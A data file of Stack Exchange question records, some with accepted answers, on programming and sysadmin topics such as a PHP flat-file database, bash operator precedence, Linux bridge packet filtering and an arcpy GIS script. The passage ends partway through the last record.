{  "id": "_datascience.10143"  , "question": "I'm looking for information on how should a Python Machine Learning project be organized. For Python usual projects there is Cookiecutter and for R ProjectTemplate. This is my current folder structure, but I'm mixing Jupyter Notebooks with actual Python code and it does not seems very clear.. cache data my_module logs notebooks scripts snippets toolsI work in the scripts folder and currently adding all the functions in files under my_module, but that leads to errors loading data(relative/absolute paths) and other problems.I could not find proper best practices or good examples on this topic besides some kaggle competition solutions and some Notebooks that have all the functions condensed at the start of such Notebook."  , "title": "Python Machine Learning/Data Science Project Structure"  , "tags": "python"  } 
{  "id": "_codereview.46635"  , "question": "I just finished writing a flat-file DB class for PHP which supports selecting, updating, inserting and deleting. I was wondering if there are any ways to make it faster or if I'm doing anything the wrong way.<?phpclass FlatDB {    private static $field_deliemeter = \\t;    private static $linebreak = \\n;    private static $table_extension = '.tsv';    public $table_name;    public $table_contents = array(FIELDS => NULL, RECORDS => NULL);    /*    ** This method creates a table    **     ** @param   string  $table_name    **    ** @example    ** $db = new FlatDB;    ** $db->createTable('Administrators');    **/    public function createTable($table_name, $table_fields) {                   // Create the file        $tbl_name = $table_name.self::$table_extension;        $header = '';        foreach($table_fields as $field) {            $header .= $field.self::$field_deliemeter;        }        file_put_contents($tbl_name, $header);    }    /*    ** This method opens a table for querying, editing, etc    **     ** @param   string  $table_name    **    ** @example    ** $db = new FlatDB;    ** $db->openTable('Test.csv');    **/     public function openTable($table_name) {                // Check if this table is found        $table_name = $table_name.self::$table_extension;        if(file_exists($table_name) === FALSE) throw new Exception('Table not found.');        // Set the table in a property        $this->table_name = $table_name;        // Get the fields        $table = file($this->table_name, FILE_IGNORE_NEW_LINES);         $table_fields = explode(self::$field_deliemeter, $table[0]);        unset($table[0]);        // Put all records in an array        $records = array();        $num = 0;        foreach($table as $record) {            $records_temp = explode(self::$field_deliemeter, $record);            $count = count($records_temp);            for($i = 0; $i < $count; $i++)                 $records[$num][$table_fields[$i]] = $records_temp[$i];            $num++;        }        $this->table_contents['FIELDS'] = $table_fields;        $this->table_contents['RECORDS'] = $records;    }    /*    ** This method returns fields selected by the user based on a where criteria    **     ** @param   array   $select an array containing the fields the user wants to select, if he wants all fields he should use a *    ** @param   array   $where  an array which has field => value combinations    ** @return  array   it returns an array containing the records    **    ** @example    ** $db = new FlatDB;    ** $db->openTable('Test.csv');    ** $select = array(id, name, group_id);    ** $where = array(group_id => 2);    ** $db->getRecords($select, $where);    **/    public function getRecords($select, $where = array()) {        // Do some checks        if(is_array($select) === FALSE) throw new Exception('First argument must be an array');        if(is_array($where) === FALSE && isset($where)) throw new Exception('Second arguement must be an array');        if(empty($this->table_name) === TRUE) throw new Exception('There is no connection to a table opened.');        // If the array contains only one key which is a *, then select all fields        if($select[0] == '*') $select = $this->table_contents['FIELDS'];        // Check if the fieldnames in select are all found        foreach($select as $field_name)            if(in_array($field_name, $this->table_contents['FIELDS']) === FALSE) throw new Exception($field_name. is not found in the table.);        // Check if the fieldnames in where are all found        foreach($where as $field_name => $value)            if(in_array($field_name, $this->table_contents['FIELDS']) === FALSE) throw new Exception($field['name']. is not found in the table.);        // Find the record that the user queried in where        $user_records = $this->table_contents['RECORDS'];        if(isset($where)) {            foreach($where as $field => $value) {                foreach($this->table_contents['RECORDS'] as $key => $record) {                    if($record[$field] != $value) {                        unset($user_records[$key]);                    }                }            }        }        // Preserve only the keys that the user asked for        $final_array = array();        $temp_fields = array_flip($select);        foreach($user_records as &$record) {            $final_array[] = array_intersect_key($record, $temp_fields);        }        return $final_array;    }    /*    ** This method updates fields based on a criteria    **     ** @param   array   $update an array containing the fields the user wants to update    ** @param   array   $where  an array which has field => value combinations which is the criteria    **    ** @example    ** $db = new FlatDB;    ** $db->openTable('Test.csv');    ** $update = array(group_id => 1);    ** $where = array(group_id => 2);    ** $db->updateRecords($update, $where);    **/    public function updateRecords($update, $where) {        // Check if the connection is opened        if(empty($this->table_name) === TRUE) throw new Exception('There is no connection to a table opened.');        // Check if each field in update and where are found        foreach($update as $field => $value)             if(in_array($field, $this->table_contents['FIELDS']) === FALSE) throw new Exception($field. is not found.);        foreach($where as $field => $value)            if(in_array($field, $this->table_contents['FIELDS']) === FALSE) throw new Exception($field. is not found.);        // Find the record that the user queried in where        $user_records = $this->table_contents['RECORDS'];        $preserved_records = array();        foreach($where as $field => $value) {            foreach($this->table_contents['RECORDS'] as $key => $record) {                if($record[$field] != $value) {                    unset($user_records[$key]);                    $preserved_records[$key] = $record;                }            }        }        // Update whatever needs updating        $user_records_temp = $user_records;        foreach($user_records_temp as $key => $record) {            foreach($update as $field => $value) {                $user_records[$key][$field] = $value;            }        }        // Merge the preserved records and the records that were updated, then sort them by their record number        $user_records += $preserved_records;        ksort($user_records, SORT_NUMERIC);        // Modify the property of the records and insert the new table        $this->table_contents['RECORDS'] = $user_records;        // Implode it so we can save it in a file        $final_array[] = implode(self::$field_deliemeter, $this->table_contents['FIELDS']);        foreach($user_records as $record)            $final_array[] = implode(self::$field_deliemeter, $record);        // Implode by linebreaks        $data = implode(self::$linebreak, $final_array);        // Save the file        file_put_contents($this->table_name, $data);    }    /*    ** This method inserts a new record to the table    **     ** @param   array   $insert an array containing field => value combinations    ** @param   array   $where  an array which has field => value combinations which is the criteria    **    ** @example    ** $db = new FlatDB;    ** $db->openTable('Test.csv');    ** $array = array(id => 7, name => Jack, password => 1234567, group_id => 2);    ** $db->insertRecord($array);    **/    public function insertRecord($insert) {        if(is_array($insert) === FALSE) throw new Exception('The values need to be in an array');        if(empty($this->table_name) === TRUE) throw new Exception('You need to open a connection to a table first.');        // Check if each field in insert is found        foreach($insert as $field => $value)             if(in_array($field, $this->table_contents['FIELDS']) === FALSE) throw new Exception($field. is not found.);        // Build the new record        $newRecord = array();        foreach($this->table_contents['FIELDS'] as $field) {            if(isset($insert[$field])) $newRecord[$field] = $insert[$field];             else $newRecord[$field] = NULL;        }        // Add the new record to the pre-existing table and save it in the records        $records = $this->table_contents['RECORDS'];        $records[] = $newRecord;        $this->table_contents['RECORDS'] = $records;        // Format it for saving        $data = array();        $data[] = implode(self::$field_deliemeter, $this->table_contents['FIELDS']);        foreach($records as $record)            $data[] = implode(self::$field_deliemeter, $record);        // Implode by linebreaks        $data = implode(self::$linebreak, $data);        // Save in file        file_put_contents($this->table_name, $data);    }    /*    ** This method deletes records from a table    **     ** @param   array   $where  an array which has field => value combinations which is the criteria    **    ** @example    ** $db = new FlatDB;    ** $db->openTable('Test.csv');    ** $where = array(group_id => 3);    ** $db->deleteRecords($where);    **/    public function deleteRecords($where) {        if(is_array($where) === FALSE) throw new Exception('The argument must be an array');        if(empty($this->table_name) === TRUE) throw new Exception('You need to open a connection to a database first.');        // Check if each field in insert is found        foreach($where as $field => $value)             if(in_array($field, $this->table_contents['FIELDS']) === FALSE) throw new Exception($field. is not found.);        // Find the records that match and delete them        $records = $this->table_contents['RECORDS'];        foreach($records as $key => $record) {            foreach($where as $field => $value) {                if($record[$field] == $value) unset($records[$key]);            }        }        // Save the records in the property        $this->table_contents['RECORDS'] = $records;        // Format it for saving        $data = array();        $data[] = implode(self::$field_deliemeter, $this->table_contents['FIELDS']);        foreach($records as $record)            $data[] = implode(self::$field_deliemeter, $record);        // Implode by linebreaks        $data = implode(self::$linebreak, $data);                   // Save the file        file_put_contents($this->table_name, $data);    }}?>"  , "title": "Flat-file DB with CRUD"  , "tags": "php;classes;database;crud"  } 
{  "id": "_codereview.119508"  , "question": "This is a for-loop which runs once for each step with i>1 and maybe for 0 <= i <= 1.var i;var prob_ = 3.5;for ( i = prob_; i >= 0; i -= 1 ) {    if ( i > 1 || withProbability(i) ) {        loadHttp(randomUrl());    }}with function withProbability(chance) {    return Math.random() < chance;}JsLint gave me a for-loop error. Is this code ok despite that warning, or should this for-loop be changed to some other looping construct?Backgroundprob_ is a ratio between fake actions and real actions. The loop is triggered once for each real action. If prob_ is greater than 1, the fake action is done. If it is in between 0 and 1, it is considered a probability and thus maybe a fake action follows.This is a case where it was not clear how to replace the for-loop with a forEach, as is often recommended. Maybe ES6 tail recursion could be used...More contextfunction loadHttp(toLoad) {    require(sdk/page-worker).Page({        contentURL: toLoad    });}The implementation of randomUrl() is rather lengthy and does not relate to the question. It determines a statistically probable length of a HTML (or embedded object like js, img, css, ...) site, then does a lookup for the next bigger URL in a hardcoded list. It is supposed that the randomness will confuse someone who watches for traffic patterns.Full class coverTraffic.jsThis is initialized viaconst coverTraffic = require('./coverTraffic.js');coverTraffic.setLoader(require('./load.js'));with load.js containing similar to loadHttp as above. It is triggered viafunction loads(URL) {    if ( _.contains(activeHosts, URL.host) ) { // has already started        coverTraffic.loadNext();    } else {        activeHosts.push(URL.host);        coverTraffic.start();    }}exports.loads = URL => loads(URL);which is called whenever the browser loads a new URL.use strict;exports.DOC = 'creates cover traffic, up to predetermined parameters';const { setTimeout } = require(sdk/timers);const coverUrl = require(./coverUrl.js);const stats = require(./stats.js);/** overhead of dummy traffic -1; 1.5 has overhead of 50% */const FACTOR = 1.5;var load;var site_ = {};var pad_ = {};var prob_;function setLoader(load_param) {    load = load_param;}exports.setLoader = (load_param) => setLoader(load_param);/** a website is loaded by the user. covertraffic determines a target * feature vector and adds to the load to approximate the target. */function start() {    site_ = {};    pad_ = {};    site_.html = stats.htmlSize(1); // td: buffer known sites in bloomfilter    pad_.html = stats.htmlSize(FACTOR) - site_.html;    site_.num_embedded = stats.numberEmbeddedObjects(1); // td: see above    pad_.num_embedded = stats.numberEmbeddedObjects(FACTOR) - site_.num_embedded;    prob_ = pad_.num_embedded / site_.num_embedded;    //    setTimeout(loadNext, stats.parsingTime());    load.http(coverUrl.sized(pad_.html));}exports.start = start;function loadNext() {    var i;    if ( pad_.num_embedded > 0 ) {    for ( i = prob_; i >= 0; i -= 1 ) {        if ( i > 1 || stats.withProbability(i) ) {        load.http(coverUrl.sized(stats.embeddedObjectSize()));        pad_.num_embedded -= 1;        }    }    } else {    console.log(cover traffic empty, num:  + pad_.num_embedded);    }}exports.loadNext = loadNext;The stats module provides statistical distributions, the load-module just loading a URL as described above."  , "title": "Creating cover traffic by calling random urls - Javascript loop to decrement float"  , "tags": "javascript;random"  , "accepted_answer": "The problem JSLint is pointing at is that you usually iterate with an index that is an integer. If you were to have an array, you couldn't use i to access the array elements, because if i is big enough, rounding issues may cause you to skip elements or see elements twice!What I'd recommend is that you just use i as integer, and then once the for loop is done, check if there is an additional chance to roll for. That way, you don't have to worry about floating point rounding errors accumulating.Another way you could do it is first roll, and then if you roll high enough, up i by 1. That way you only have one place where you run your code.So like this:var chance = i % 1;if (chance !== 0 && withProbability(chance)){    i = Math.ceil(i);} else {    i = Math.floor(i);}//for loop goes here"  } 
{  "id": "_webapps.104583"  , "question": "How do I set default accounts for YouTube and GMail?I have an email for school and an email for personal use. How can I make it so that, in Chrome, when I go to YouTube it logs me into my personal account but when I go to GMail it logs me into my school account?"  , "title": "How do I set default accounts for YouTube and GMail?"  , "tags": "google chrome;gmail"  } 
{  "id": "_unix.327308"  , "question": "I'm new to Linux and its terminal, so forgive my errors if any.IssueWhenever I type anything on my terminal the window keeps shrinking. However once the terminal window is maximized this issue never occurs.Specifications (according to uname command)OS: GNU/LinuxKernel Version: #1 SMP Debian 4.6.4-1kali1 EditBy terminal here I mean the gnome-terminal.Only the width and height are affected and the SHIFT and CTRL keys do not affect the window. The only keys affecting the window are the character keys i.e. A-Z, 0-9, and other special symbols and punctuation as well as the TAB key."  , "title": "How to solve issue with terminal screen shrinking while typing?"  , "tags": "kali linux;gnome terminal"  } 
{  "id": "_softwareengineering.294402"  , "question": "I am in the process of designing and building a small web app. While implementing a first prototype I discovered that I make many unwritten assumptions about the behaviour of the interface. For example:When the user selects a product in the product browser, the product inspector quickly slides out the left side displaying the product data. If the inspector is already opened, the data is only updated. The header background color changes with a radial animation.Right now it's just me on the project, so I define these implicit requirements on the fly. But after every change that could break something I have to recall all of them in order to test them. I obviously should write them down somewhere.  I know unit testing, I know scenarios and personas, use-case diagrams; this seems to be something different and I don't know how to do it properly. So, what is the usual way of defining, documenting, and also guaranteeing such requirements? Where do I put them? How do I structure them? How do I test them effectively? Should I ship them with the source code or put them in the project Wiki?Also, these requirements are likely to change frequently, especially since I am using a rapid prototyping approach. I do not want to spend a lot of time drawing diagrams, etc. But simply dumping them into a text file without any structure seems to be a time waster as well, as soon as I have to test a specific part of the application."  , "title": "Defining and testing detailed user interface requirements"  , "tags": "testing;requirements;qa;ui"  , "accepted_answer": "Sure, rapid prototyping can lead to frequent changes on your APIs for a duration of time, but I will expect changes to eventually mature and stabilize after requirements fall into place and you can essentially do an 'API freeze'.If you are making changes to undo past changes, then you may be getting ahead of yourself and straying away from the You Aren't Gonna Need It principle. The point here is to know when and how you need to put a stop to making more requirements' changes.With that out of the way, I think unit testing is definitely a potential starting point to validate any new changes you think you are going to implement with what is working currently. However, don't code weak unit tests that are either incomplete, or only performing the more superficial test cases (e.g. making sure fail-fast for null arguments work, without stepping through the actual logic). Try to unit-test for more meaningful edge cases, which tend to be your first line of defense when you head back to the drawing board. It will be even more helpful if you can write your unit tests in a BDD-style that gives a good definition of a class's contract.You should also try to document your API design/code from the viewpoint of an end-user, or as a tabula rasa developer. Linking to the first point, once you feel you have reached a sufficiently mature point of your API design, start to document your codebase from scratch. Make sure to update the parts where your original 'implicit requirements' have changed. These can be included on your project's wiki page. If you are also placing your project documentation under version control, e.g. putting them up on GitHub, then you will also have a working version history to learn how the documentation plus your codebase have evolved."  } 
{  "id": "_unix.171365"  , "question": "I've a linux bridge which has it's first interface as a eth0.123 (VLAN tagged interface) & one or more tap interfaces created by kvm. (libvirt+kvm VM)[root@compute1 ~]# brctl showbridge name     bridge id               STP enabled     interfacesbrq732eb7f9-16          8000.002590c6438e       no              eth0.123                                                        tap81474f06-29                                                        tap81474f06-30I noticed that, when I tried to ping IPs bound to VMs on tap interfaces, it used to work intermittently. Sometimes, the first VM spawned worked, sometimes the second worked. I fixed that problem by setting rp_filter=0.Question 1: Gentleman at https://fvtool.wordpress.com/2013/04/19/install-kvm-on-centos-6-3-configure-networking-b/ has explained a similar problem but I fail to understand why it works the first time but doesn't work for other tap interfaces. Could anyone explain why rp_filter is dropping those ping packets? When ping worked on these machines, the ssh didn't work. It was weird. Question 2: When I was debuging the problem, tcpdump on eth0 revealed that I was recieveing both ICMP request/reply packets but still the sending machine reported 100% packet loss. Does tcpdump show packets even though they'll be eventually dropped by kernel?"  , "title": "rp_filter dropping packets in linux bridges+vlan_tagged interface + tap interfaces configuration"  , "tags": "networking;centos;bridge"  } 
{  "id": "_cseducators.2537"  , "question": "One way to extend the reach of your best students is to have an Honors Program that, perhaps, runs over several years. One model is to have a special program to which students are invited. Participation extends over several years, perhaps with separate classes. If you have experience with such a program, either as a participant, faculty member, or creator, what was the model and what worked and didn't in your program.I was a faculty member for students in one such program but had little influence on its general structure. Students could designate any course(s) in the curriculum as honors option. If the professor agreed, then the student and prof made a mini contract for extra work in the class. This was sort of small scale from my perspective but worked well in my (limited) experience. There were no special lectures for these students and the other students weren't affected. The honors student had to do more to earn an A in the course, but that was part of the contract. I had to design a more complex project for the (compiler course) students was the only real difference. When I was an undergrad at a liberal arts college we had a general honors program. I studied math and philosophy, but the program was tailored to the liberal arts. Students were invited at the end of the first year (of four). A faculty committee was responsible for invitations, though I suspect that a student could petition for entry. Every term the program had a different theme, literature, science, psychology, history, etc. depending on faculty interest. The students read a book on the topic of the term each week and met in seminar for a few hours once a week. The faculty said little as the students discussed the book. At the end of the second year of the program (third year of study) one of the seminars was public, held in an auditorium, with a reception following. These were well attended. The final year was different. We developed a thesis paper in our major study area, so mine was in the philosophy of math area. Since my major was fairly narrow (but also required science study) I cam away with a nearly perfect Liberal Arts education. The only area of the Medieval University course of study that I missed was Astronomy. However, the honors courses were in addition to the regular student load. The courses were pretty intense, so could lead to burnout. Also, someone already studying, say philosophy, didn't get as much broadening as I did since they already studied many of the HP topics anyway. I liked that Honors Program model, then and now, but here I'm more interested in something specialized for Computer Science students. I think that both small scale and large scale programs are interesting and might serve as models for others to consider. Much later, I helped design a doctoral program in computing that had many features of the above honors model. Three years, two of study and one of dissertation. The years were calendar years with no breaks and dissertation topics were expected to be ready to go by the beginning of the third year. "  , "title": "What are good models for an Honors Program for CS students?"  , "tags": "best practice;student motivation;differentiation"  } 
{  "id": "_codereview.161386"  , "question": "I want to check if a string contains only a single occurrence of the given substring (so the result of containsOnce(foo-and-boo, oo) should be false). In Java, a simple and straightforward implementation would be eitherboolean containsOnce(final String s, final CharSequence substring) {    final String substring0 = substring.toString();    final int i = s.indexOf(substring0);    return i != -1 && i == s.lastIndexOf(substring0);}orboolean containsOnce(final String s, final CharSequence substring) {        final String substring0 = substring.toString();        final int i = s.indexOf(substring0);        if (i == -1) {            return false;        }        final int nextIndexOf = s.indexOf(substring0, i + 1);        return nextIndexOf == 0 || nextIndexOf == -1; // nextIndexOf is 0 if both arguments are empty strings.}Can you suggest a simpler/more efficient implementation?"  , "title": "Checking whether a string contains a substring only once"  , "tags": "java;strings"  } 
{  "id": "_codereview.46404"  , "question": "The InputHandler class for my game detects key presses, turns each one into a GameAction, and raises an event:public class InputHandler{    public delegate void ActionListener(GameActions gameAction);    public event ActionListener ActionRequested;    private void ProcessKeyboard(KeyboardState keyboardState)    {        var pressedKeys = keyboardState.PressedKeys();        foreach (var inputAction in pressedKeys.Select(GetInputAction))        {            ActionRequested(inputAction.Down);        }        var releasedKeys = keyboardState.ReleasedKeys(prevPressedKeys);        foreach (var inputAction in releasedKeys.Select(GetInputAction))        {            ActionRequested(inputAction.Up);        }        prevPressedKeys = pressedKeys;    }}Only one GameAction can be requested at a time. This means that if you press the key bound to GameActions.MoveUp and the key bound to GameActions.MoveLeft at the same time, two separate events are raised and it looks like your character is moving diagonally.Now, I need to detect this as a single GameAction, e.g. GameActions.MoveUpLeft. There has to be a better way to do it than what I've come up with.private void ProcessKeyboard(KeyboardState keyboardState){    var pressedKeys = keyboardState.PressedKeys();    var inputActions = pressedKeys.Select(GetInputAction).ToList();    var downActions = inputActions.Select(ia => ia.Down);    if (downActions.Contains(GameActions.MoveUp) && downActions.Contains(GameActions.MoveLeft))    {        ActionRequested(GameActions.MoveUpLeft);    }    else if (downActions.Contains(GameActions.MoveUp) && downActions.Contains(GameActions.MoveRight))    {        ActionRequested(GameActions.MoveUpRight);    }    else if ...}I'm sure you can see how this can get quickly out of hand. How can I make it better?"  , "title": "Turn multiple key presses into single GameAction"  , "tags": "c#;xna"  } 
{  "id": "_codereview.171978"  , "question": "I am trying to create a logger wrapper around winston and express-winston (enables middleware error log) that is configurable . How could i improve this code?//logger.tsimport * as winston from winston;import * as FileSystem from fs;import AppConfig from ../config/app/appConfig;import CoreUtils from ../../common/utils/core;// Express winston does not yet have declaration support.const expressWinston = require(express-winston);export default class Logger {    public static loggerInstance: Logger;    private static readonly CONFIG_KEY: string = log;    private static readonly CONFIG_KEY_LEVEL: string = level;    private static readonly CONFIG_KEY_TRANSPORT: string = transports;    private static readonly CONFIG_KEY_ENABLE_MIDDLEWARE: string = enableMiddleware;    private static readonly TRANSPORT_KEY_CONSOLE: string = console;    private static readonly TRANSPORT_KEY_FILE: string = file;    private static readonly LOG_DIR: string = log;    /**     * Ensures a single logger object is maintained throught application/     */    public static getInstance(): Logger {        let loggerInstance: Logger = Logger.loggerInstance;        if (CoreUtils.isNull(loggerInstance)) {            Logger.loggerInstance = loggerInstance = new Logger();        }        return loggerInstance;    }    public isMiddlewareEnabled: boolean = false;    private logger: winston.LoggerInstance;    private transports: winston.TransportInstance[] = [];    constructor() {        this.initialize();    }    public info(msg: string, logObject?: any): void {        this.logger.info(msg, logObject);    }    public error(msg: string, logObject?: any): void {        this.logger.error(msg, logObject);    }    public warn(msg: string, logObject?: any): void {        this.logger.warn(msg, logObject);    }    public debug(msg: string, logObject?: any): void {        this.logger.debug(msg, logObject);    }    public trace(msg: string, logObject?: any): void {        this.logger.verbose(msg, logObject);    }    /**     * Get express winston middleware configuraion     */    public getMiddlewareLogger(): any {        const options: any = {            transports: this.transports        };        return expressWinston.logger(options);    }    private initialize() {        const logConfig = AppConfig.getObject(Logger.CONFIG_KEY);        const logLevel: string = logConfig[Logger.CONFIG_KEY_LEVEL];        const logTransport: Object = logConfig[Logger.CONFIG_KEY_TRANSPORT];        this.isMiddlewareEnabled = <boolean> logConfig[Logger.CONFIG_KEY_ENABLE_MIDDLEWARE];        for (let key in logTransport) {            if (logTransport.hasOwnProperty(key)) {                if (key === Logger.TRANSPORT_KEY_CONSOLE) {                    this.configureConsoleTransport(logTransport[key], logLevel);                } else if (key === Logger.TRANSPORT_KEY_FILE) {                    this.configureFileTransport(logTransport[key]);                }            }        }        this.logger = new (winston.Logger)({            transports: this.transports        });    }    /**     * Configuring console transport     */    private configureConsoleTransport(transport: Object, logLevel: string): void {        const options: Object = Object.assign({            level: logLevel        }, transport);        this.transports.push(new (winston.transports.Console)(options));    }    /**     * Configuring file transport     */    private configureFileTransport(transport: Object): void {        const targetFileList: Object = AppConfig.getObject(Logger.CONFIG_KEY)[target];        // Creating log directory if it does not exist        if (!FileSystem.existsSync(Logger.LOG_DIR)) {            FileSystem.mkdirSync(Logger.LOG_DIR);        }        for (let key in targetFileList) {            const options: Object = Object.assign({                name: key,                level: key,                filename: `${Logger.LOG_DIR}/${targetFileList[key]}`            }, transport);            this.transports.push(new (winston.transports.File)(options));        }    }}//config.jsonlog: {        level: info,        enableMiddleware: true,        transports: {            console: {                colorize: true,                timestamp: true,                json: false,                showLevel: true            },            file: {                                json: true,                maxsize: 10485760,                maxfile: 5            }         },        target: {            trace: trace.log,            debug: debug.log,            error: error.log,            warn: info.log,            info: info.log        }    }//usage in main.ts  import Logger from ../core/common/logging/logger;...if (Logger.getInstance().isMiddlewareEnabled) {            this.app.use(Logger.getInstance().getMiddlewareLogger());}What could be done better?"  , "title": "Creating a logger that wraps around winston and express-winston"  , "tags": "javascript;node.js;express.js;typescript"  } 
{  "id": "_softwareengineering.338664"  , "question": "I want to confirm that my software works on an OS that is not installed on my workstation. So I want to use a virtual environment to test it.I am worrying there are disadvantages about that.Are there disadvantages for testing software in a virtual environment?OS what I mean, operating system."  , "title": "When I need to confirm that my software works on an OS not installed on my workstation, are there disadvantages to using a virtual environment?"  , "tags": "testing"  , "accepted_answer": "Virtual machines are very good. If your software works in a virtual machine, it should also work on a real machine. But sometimes, the software would work on a real machine but fails in a virtual machine:if the software needs access to special hardware, like direct access to USB ports, graphic cards, .if the software needs direct network access.if the software is related to virtualization. You can't create nested virtual machines.So for most software, virtualization works well. There are a couple of disadvantages to virtual machines in general:they use a lot of RAM while they are running. This limits the number of virtual machines you can run at the same time.they take some time to boot up and shut down. You can't quickly test something.if the virtual machine runs on an emulator, the virtual machine will be much slower. This is necessary if the OS runs on a different CPU architecture. For example, you are developing on a x64 machine, but want to test on ARM (mobile phones) or Sparc (Sun/Oracle servers).I have used a lot of virtual machines for testing, and it was much easier than running many physical machines. "  } 
{  "id": "_unix.204852"  , "question": "I'm currently running Debian Stretch (amd64), Gnome Shell (Gnome 3). My hardware is NVidia GT220. I installed properitary drivers from the repository. I'm experiencing bad response times from Gnome Terminal, for example when coding in Vim. Cursor movement is delayed, etc. But when I'm typing this message I also have lags, hmm... Is there a bug in drivers (340.76)? Does anyone heard about the problem, and maybe a solution?Or this is not a graphics problem, but the environment?CPU is AMD Phenom II x4 945. glxgears returns ~6300 FPS."  , "title": "Debian, slow response from Gnome Terminal in Gnome 3"  , "tags": "gnome3;nvidia;gnome terminal;gnome shell"  } 
{  "id": "_unix.372199"  , "question": "First - sorry for bad title.Consider the following:root@debian-lap:/tmp echo Step 1  || echo Failed to execute step 1 ; echo Step 2Step 1Step 2root@debian-lap:/tmpAs you can see, the 1st and 3rd echo command executed normally.And if I the first command failed I want to  stop the script and exit from it:root@debian-lap:/home/fugitive echo Step 1  || echo Failed to execute step 1 && exit 2 ; echo Step 2Step 1 exitfugitive@debian-lap:~$ The exit command executes and exits the shell, even thou exit code of the first command is 0. My question is - why?In translation, doesn't this say:echo Step 1if the command failed , echo 'Failed to execute step 1' and exit the scriptelse echo Step 2Looking at this like :cmd foo1 || cmd foo2 && exitShouldn't cmd foo2 and (&&) exit execute only when cmd foo1 failed?What I am missing?EditI am adding 2nd example, something that I am really trying to do (still dummy test)root@debian-lap:/tmp/bashtest a=$(ls) || echo Failed ; echo $atest_file  # < - This is OKroot@debian-lap:root@debian-lap:/tmp/bashtest a=$(ls) || echo Unable to assign the variable && exit 2; echo $aexitfugitive@debian-lap:~$   # <- this is confusing partroot@debian-lap:/tmp/bashtest a=$(ls /tmpppp/notexist) || echo Unable to assign the variable ; echo $als: cannot access /tmpppp/notexist: No such file or directoryUnable to assign the variable            # <- This is also OKroot@debian-lap:"  , "title": "Issue with booleans tests && and || in bash"  , "tags": "bash;shell script;shell;boolean"  , "accepted_answer": "Because the last command executed (the echo) succeeded. If you want to group the commands, it's clearer to use an if statement:if ! step 1 ; then   echo >&2 Failed to execute step 1   exit 2fiYou could also group the error message and exit with { ... } but that's somewhat harder to read. However that does preserve the exact value of the exit status.step 1 || { echo >&2 step 1 failed with code: $?; exit 2; }Note, I changed the && to a semicolon, since I assume you want to exit even if the error message fails (and output those errors on stderr for good practice).For the if variant to preserve the exit status, you'd need to add your code to the else part:if step 1; then  : OK, do nothingelse  echo >&2 step 1 failed with code: $?  exit 2fi(that also makes it compatible with the Bourne shell that didn't have the ! keyword).As or why the commands group like the do, the standard says:An AND-OR list is a sequence of one or more pipelines separated by the operators && and ||.The operators && and || shall have equal precedence and shall be evaluated with left associativity.Which means that something like somecmd || echo && exit acts as if somecmd and echo were grouped together first, i.e.  { somecmd || echo; } && exit and not  somecmd || { echo && exit; } . "  } 
{  "id": "_softwareengineering.335366"  , "question": "At my workplace we're soon going to be tasked with removing SQL injection vulnerabilities from a large code base. The application was originally written around 8 years ago and after years of bolt-ons and additional features, security is finally getting looked at. We'll be moving from using the mysql_ extension to PDO and prepared statements, binding parameters properly.We're looking at around 1100 queries, a reasonable mix of SELECT, UPDATE, INSERT, DELETE and the codebase is littered with mysql_fetch_assoc calls.What things can I do to make the process easier to manage?What other things can I do in addition to moving to prepared statements to prevent SQL injection?"  , "title": "Converting a large PHP codebase from mysql_ to PDO"  , "tags": "php;mysql;sql injection"  , "accepted_answer": "Personally, I think that sitting down and plowing through 1,100 database queries and converting them to PDO would drive me crazy.I'd opt for doing them in smaller bits, as you're working on other parts of the application. Fixing a bug? Adding a new feature? While you're in that area, convert the mysql_ code to use PDO before you do move to anoother part of the codebase.Now, if there's truly nothing else to be done to the app besides switching to PDO, then I don't know if there's any other way other than starting from the top and converting them all one by one, and testing each one as you go."  } 
{  "id": "_codereview.149591"  , "question": "We have written a Python script using arcpy modules. It is was written by Python beginners and many parts of the code are written in 'unpythonic way'. The goal is to re-write or address 'unpythonic' code. The software used for this script are ArcMap 10.4 and written in Python 2.7. The complete script is available on GitHub.The main directory is C:/A__P6_GIS4/ and contains twelve sub-dirs the sub directories are actually names of counties, and each county sub-dir contains all relevant inputs inside the geodatabase or gdb file. First, the script loops and creates a .txt file with names of all the sub-dirs then uses this to loop through each sub-dir and execute set of functions for each county using set of if-else statements. The functions can be broadly broken by turf grass (TG) model, fractional (Frac) model, forest model and final model. The final model utilizes outputs from the aforementioned models and then creates the final model.Only contains main() due to character limitation:def main():    ALL_start_time = time.time()    #ALL_start_time = timeit.default_timer()    if arcpy.CheckExtension(Spatial) == Available:        arcpy.AddMessage(Checking out Spatial)        arcpy.CheckOutExtension(Spatial)    else:        arcpy.AddError(Unable to get spatial analyst extension)        arcpy.AddMessage(arcpy.GetMessages(0))        sys.exit(0)    # Create List of Counties for Loop    arcpy.Delete_management(C:/GIS_temp/county_list.txt)    co_list = C:/GIS_temp/county_list.txt    county_list = open(co_list,a) #Open the list    MainDIR = C:/A__P6_GIS4/  #Directory where LAND USE geodatabases are located    for i in os.listdir(MainDIR):        i_base = os.path.basename(i)        county_list.write(i_base + \\n)    county_list.close()    # Start Looping Through County List    county_list = open(co_list,r)    for i in county_list:  #A text file is needed to ensure looping works!        CoName = i.strip(\\n)        print CoName +  started        # Setup Directories        MainDIR = C:/A__P6_GIS4/  #Directory where LAND USE geodatabases are located        CntyDIR = os.path.join(MainDIR, CoName + /)        OutputDIR = os.path.join(CntyDIR, Outputs/)        TiffDIR = os.path.join(OutputDIR, CoName + _FINAL/) # Former FinalDirectory        if not arcpy.Exists(OutputDIR):            arcpy.CreateFolder_management(CntyDIR, Outputs)        if not arcpy.Exists(TiffDIR):            arcpy.CreateFolder_management(OutputDIR, CoName + _FINAL)        Inputs = os.path.join(CntyDIR, CoName + _Inputs.gdb/) # Former CoGDB        Temp_1m = os.path.join(OutputDIR, Temp_1m.gdb/) # Former TempGDB        Temp_10m = os.path.join(OutputDIR, Temp_10m.gdb/) # Former Temp10GDB        Final_10m = os.path.join(OutputDIR, Final_10m.gdb/) # Former Final_10m        Final_1m = os.path.join(OutputDIR, Final_1m.gdb/) # Former LuGDB        if not arcpy.Exists(Temp_1m):            arcpy.CreateFileGDB_management(OutputDIR, Temp_1m.gdb)        if not arcpy.Exists(Temp_10m):            arcpy.CreateFileGDB_management(OutputDIR, Temp_10m.gdb)        if not arcpy.Exists(Final_10m):            arcpy.CreateFileGDB_management(OutputDIR, Final_10m.gdb)        if not arcpy.Exists(Final_1m):            arcpy.CreateFileGDB_management(OutputDIR, Final_1m.gdb)            arcpy.Copy_management(Inputs + CoName + _IR_1m, Final_1m + CoName + _IR_1m)            arcpy.Copy_management(Inputs + CoName + _INR_1m, Final_1m + CoName + _INR_1m)            arcpy.Copy_management(Inputs + CoName + _TCoI_1m, Final_1m 